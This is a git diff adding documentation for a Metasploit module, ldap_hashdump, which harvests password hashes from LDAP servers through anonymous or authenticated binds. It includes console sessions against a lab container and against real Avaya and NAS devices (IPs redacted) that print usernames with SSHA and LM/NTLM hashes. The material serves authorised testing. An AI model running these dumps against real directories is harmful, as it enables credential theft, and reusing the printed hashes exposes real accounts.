|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +### Description |
| 4 | + |
| 5 | +This module uses an LDAP connection to dump data from LDAP server |
| 6 | +using an anonymous or authenticated bind. |
| 7 | +Searching for specific attributes it collects user credentials. |
| 8 | + |
| 9 | +### Setup |
| 10 | + |
| 11 | +Tested in the wild. |
| 12 | + |
| 13 | +You may eventually setup an intentionally insecure OpenLDAP server in docker. |
| 14 | +The below OpenLDAP server does not have any ACL, therefore the hashPassword |
| 15 | +attributes are readable by anonymous clients. |
| 16 | + |
| 17 | +``` |
| 18 | +$ git clone https://github.com/HynekPetrak/bitnami-docker-openldap.git |
| 19 | +$ cd bitnami-docker-openldap |
| 20 | +$ docker-compose up -d |
| 21 | +Creating bitnami-docker-openldap_openldap_1 ... done |
| 22 | +
|
| 23 | +msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS 127.0.0.1 |
| 24 | +RHOSTS => 127.0.0.1 |
| 25 | +msf5 auxiliary(gather/ldap_hashdump) > set RPORT 1389 |
| 26 | +RPORT => 1389 |
| 27 | +msf5 auxiliary(gather/ldap_hashdump) > options |
| 28 | +
|
| 29 | +Module options (auxiliary/gather/ldap_hashdump): |
| 30 | +
|
| 31 | + Name Current Setting Required Description |
| 32 | + ---- --------------- -------- ----------- |
| 33 | + BASE_DN no LDAP base DN if you already have it |
| 34 | + BIND_DN no The username to authenticate to LDAP server |
| 35 | + BIND_PW no Password for the BIND_DN |
| 36 | + PASS_ATTR userPassword yes LDAP attribute, that contains password hashes |
| 37 | + RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' |
| 38 | + RPORT 1389 yes The target port |
| 39 | + SSL false no Enable SSL on the LDAP connection |
| 40 | + USER_ATTR dn no LDAP attribute, that contains username |
| 41 | +
|
| 42 | +
|
| 43 | +Auxiliary action: |
| 44 | +
|
| 45 | + Name Description |
| 46 | + ---- ----------- |
| 47 | + Dump Dump all LDAP data |
| 48 | +
|
| 49 | +
|
| 50 | +msf5 auxiliary(gather/ldap_hashdump) > |
| 51 | +
|
| 52 | +msf5 auxiliary(gather/ldap_hashdump) > run |
| 53 | +[*] Running module against 127.0.0.1 |
| 54 | +
|
| 55 | +[*] Discovering base DN automatically |
| 56 | +[*] Searching root DSE for base DN |
| 57 | +[+] Discovered base DN: dc=example,dc=org |
| 58 | +[*] Dumping LDAP data from server at 127.0.0.1:1389 |
| 59 | +[*] Storing LDAP data in loot |
| 60 | +[+] Saved LDAP data to /home/hynek/.msf4/loot/20200801220435_default_127.0.0.1_LDAPInformation_704646.txt |
| 61 | +[*] Searching for attribute: userPassword |
| 62 | +[*] Taking dn attribute as username |
| 63 | +[+] Credentials found: cn=user01,ou=users,dc=example,dc=org:password1 |
| 64 | +[+] Credentials found: cn=user02,ou=users,dc=example,dc=org:password2 |
| 65 | +[*] Auxiliary module execution completed |
| 66 | +msf5 auxiliary(gather/ldap_hashdump) > |
| 67 | +
|
| 68 | +``` |
| 69 | + |
| 70 | +## Verification Steps |
| 71 | + |
| 72 | +Follow [Setup](#setup) and [Scenarios](#scenarios). |
| 73 | + |
| 74 | +## Actions |
| 75 | + |
| 76 | +### Dump |
| 77 | + |
| 78 | +Dump all LDAP data from the LDAP server. |
| 79 | + |
| 80 | +## Options |
| 81 | + |
| 82 | +### BASE_DN |
| 83 | + |
| 84 | +If you already have the LDAP base DN, you may set it in this option. |
| 85 | + |
| 86 | +### USER_ATTR |
| 87 | + |
| 88 | +LDAP attribute to take the user name from. Defaults to DN, however you may |
| 89 | +wish to change it UID, name or similar. |
| 90 | + |
| 91 | +### PASS_ATTR |
| 92 | + |
| 93 | +LDAP attribute to take the password hash from. Defaults to userPassword, |
| 94 | +some LDAP server may use different attribute, e.g. unixUserPassword, |
| 95 | +sambantpassword, sambalmpassword. |
| 96 | + |
| 97 | +## Scenarios |
| 98 | + |
| 99 | +### Avaya Communication Manager via anonymous bind |
| 100 | + |
| 101 | +``` |
| 102 | +msf5 > use auxiliary/gather/ldap_hashdump |
| 103 | +msf5 auxiliary(gather/ldap_hashdump) > options |
| 104 | +
|
| 105 | +Module options (auxiliary/gather/ldap_hashdump): |
| 106 | +
|
| 107 | + Name Current Setting Required Description |
| 108 | + ---- --------------- -------- ----------- |
| 109 | + BASE_DN no LDAP base DN if you already have it |
| 110 | + PASS_ATTR userPassword yes LDAP attribute, that contains password hashes |
| 111 | + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' |
| 112 | + RPORT 389 yes The target port |
| 113 | + SSL false no Enable SSL on the LDAP connection |
| 114 | + USER_ATTR dn no LDAP attribute, that contains username |
| 115 | +
|
| 116 | +
|
| 117 | +Auxiliary action: |
| 118 | +
|
| 119 | + Name Description |
| 120 | + ---- ----------- |
| 121 | + Dump Dump all LDAP data |
| 122 | +
|
| 123 | +
|
| 124 | +msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address] |
| 125 | +RHOSTS => [redacted_ip_address] |
| 126 | +
|
| 127 | +msf5 auxiliary(gather/ldap_hashdump) > run |
| 128 | +[*] Running module against [redacted_ip_address] |
| 129 | +
|
| 130 | +[*] Discovering base DN automatically |
| 131 | +[*] Searching root DSE for base DN |
| 132 | +[+] Discovered base DN: dc=vsp |
| 133 | +[*] Dumping LDAP data from server at [redacted_ip_address]:389 |
| 134 | +[*] Storing LDAP data in loot |
| 135 | +[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121633_default_[redacted_ip_address]_LDAPInformation_716210.txt |
| 136 | +[*] Searching for attribute: userPassword |
| 137 | +[*] Taking dn attribute as username |
| 138 | +[+] Credentials found: uid=cust,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng== |
| 139 | +[+] Credentials found: uid=admin,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng== |
| 140 | +[*] Auxiliary module execution completed |
| 141 | +msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid |
| 142 | +USER_ATTR => uid |
| 143 | +msf5 auxiliary(gather/ldap_hashdump) > run |
| 144 | +[*] Running module against [redacted_ip_address] |
| 145 | +
|
| 146 | +[*] Discovering base DN automatically |
| 147 | +[*] Searching root DSE for base DN |
| 148 | +[+] Discovered base DN: dc=vsp |
| 149 | +[*] Dumping LDAP data from server at [redacted_ip_address]:389 |
| 150 | +[*] Storing LDAP data in loot |
| 151 | +[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121718_default_[redacted_ip_address]_LDAPInformation_712562.txt |
| 152 | +[*] Searching for attribute: userPassword |
| 153 | +[*] Taking uid attribute as username |
| 154 | +[+] Credentials found: cust:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng== |
| 155 | +[+] Credentials found: admin:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng== |
| 156 | +[*] Auxiliary module execution completed |
| 157 | +msf5 auxiliary(gather/ldap_hashdump) > |
| 158 | +``` |
| 159 | + |
| 160 | +### NASDeluxe - NAS with Samba LM/NTLM hashes |
| 161 | + |
| 162 | +``` |
| 163 | +msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid |
| 164 | +USER_ATTR => uid |
| 165 | +msf5 auxiliary(gather/ldap_hashdump) > set PASS_ATTR sambantpassword |
| 166 | +PASS_ATTR => sambantpassword |
| 167 | +msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address] |
| 168 | +RHOSTS => [redacted_ip_address] |
| 169 | +
|
| 170 | +msf5 auxiliary(gather/ldap_hashdump) > run |
| 171 | +[*] Running module against [redacted_ip_address] |
| 172 | +
|
| 173 | +[*] Discovering base DN automatically |
| 174 | +[*] Searching root DSE for base DN |
| 175 | +[+] Discovered base DN: dc=server,dc=nas |
| 176 | +[*] Dumping LDAP data from server at [redacted_ip_address]:389 |
| 177 | +[*] Storing LDAP data in loot |
| 178 | +[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201006_default_[redacted_ip_address]_LDAPInformation_026574.txt |
| 179 | +[*] Searching for attribute: sambantpassword |
| 180 | +[*] Taking uid attribute as username |
| 181 | +[+] Credentials found: admin:209C6174DA490CAEB422F3FA5A7AE634 |
| 182 | +[+] Credentials found: joe:58E8C758A4E67F34EF9C40944EB5535B |
| 183 | +[*] Auxiliary module execution completed |
| 184 | +
|
| 185 | +msf5 auxiliary(gather/ldap_hashdump) > run |
| 186 | +[*] Running module against [redacted_ip_address] |
| 187 | +
|
| 188 | +[*] Discovering base DN automatically |
| 189 | +[*] Searching root DSE for base DN |
| 190 | +[+] Discovered base DN: dc=server,dc=nas |
| 191 | +[*] Dumping LDAP data from server at [redacted_ip_address]:389 |
| 192 | +[*] Storing LDAP data in loot |
| 193 | +[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201731_default_[redacted_ip_address]_LDAPInformation_427417.txt |
| 194 | +[*] Searching for attribute: sambalmpassword |
| 195 | +[*] Taking uid attribute as username |
| 196 | +[+] Credentials found: admin:F0D412BD764FFE81AAD3B435B51404EE |
| 197 | +[+] Credentials found: joe:3417BE166A79DDE2AAD3B435B51404EE |
| 198 | +[*] Auxiliary module execution completed |
| 199 | +``` |
0 commit comments